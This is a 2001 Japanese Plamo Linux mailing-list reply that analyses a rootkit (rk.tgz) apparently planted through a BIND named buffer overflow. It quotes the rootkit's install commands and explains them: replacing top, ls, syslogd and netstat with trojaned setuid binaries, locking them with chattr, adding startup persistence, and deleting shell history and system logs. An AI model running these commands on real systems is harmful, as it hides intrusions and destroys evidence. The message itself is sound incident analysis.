[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[plamo:10200] Re: named運用時に作成される怪しいファイルについて

From: Kenyu Kawamoto <kenyu_k@f6.dion.ne.jp>
Subject: [plamo:10198] named運用時に作成される怪しいファイルについて
Date: Sat, 16 Jun 2001 00:22:03 +0900
Message-ID: <20010616000326.9C0B.KENYU_K@f6.dion.ne.jp>

> 新規に作った/var/namedディレクトリに
> rk.tgz
> なるファイルと、展開したrkディレクトリが存在しました。
> 
> この中には、utilディレクトリがあり、その中には
> clear    find     netstat  sl3y     st       syslogd  top      wpe
> du       ls       show     sniffy   str.sh   sz       var.log
> 等の怪しげなファイル郡があります。

これらはまず間違いなく crack 用のツールでしょう．多分，named の buffer
overflow バグを付かれて root のパーミッションを取られてこれらのパッケー
ジをインストールされているみたい．

> 
> for i in {2,3,4,5} 
> do 
> cp -f S80rpcmap /etc/rc.d/rc$i.d/
> done

うーむ，，/etc/rc.d/rc[1-6].d なんてのがあるのはこういう意味ではマズい
のか．

> rm -rf /usr/bin/top
> mv -f top /usr/bin/top
> chmod 4555 /usr/bin/top

このヘンで top を入れかえて，怪しいプロセスは表示しないようにしている
みたいですね．

> chattr -i /sbin/syslogd > /dev/null 2>&1
> killall -9 syslogd
> touch -acmr /sbin/syslogd syslogd
> mv -f syslogd /sbin/syslogd
> chmod 4555 /sbin/syslogd

このあたりで syslogd を入れかえて，怪しい動作は記録しないようにしてい
るんだろうな．しかもそれを chattr しているのか．

> #
> chattr -i /bin/ls > /dev/null 2>&1
> touch -acmr /bin/ls ls
> mv -f ls /bin/ls
> chmod 4555 /bin/ls

これも ls を入れかえて，怪しいプログラムは表示させないようにしているの
でしょう．

> chattr -i /bin/netstat > /dev/null 2>&1
> chattr -i /usr/bin/du > /dev/null 2>&1
> chattr +i /usr/bin/top
> chattr +i /bin/netstat
> chattr +i /usr/bin/find
> chattr +i /sbin/syslogd

このあたりも多分同じで，怪しいプロセス等を表示しないように改造したコマ
ンドをインストールしているのだと思います．

> rm -rf ~/.bash_history /var/log/xferlog* /var/log/secure* /var/log/lastlog*
> echo -e "\n - Gata ! - Have Phun ! - "

で，最後にこうやってログの記録を消して証拠湮滅をはかるのか．．．なかな
か考えているなぁ．

named の buffer overflow なバグはしばしばつかれるところなので，named 
を動かす際は最新版を自前でコンパイルする方が安全でしょうね．

# plamo-2.2 だと bind-8.2.3 だけど，これって大丈夫なんだっけ？ 自前で 
# bind を動かしてないから，このあたりのチェックは甘いですね．．

-------
こじま
Follow-Ups
[plamo:10201] Re: [plamo:10200] bind の Version U p to 8.2.4, Tadashi Nakamura
[plamo:10204] Re: named運用時に作成される怪しいファイルについて, Kenyu Kawamoto
References
[plamo:10198] named運用時に作成される怪しいファイルについて, Kenyu Kawamoto
[検索ページ] [メール一覧]
Plamo ML 公開システム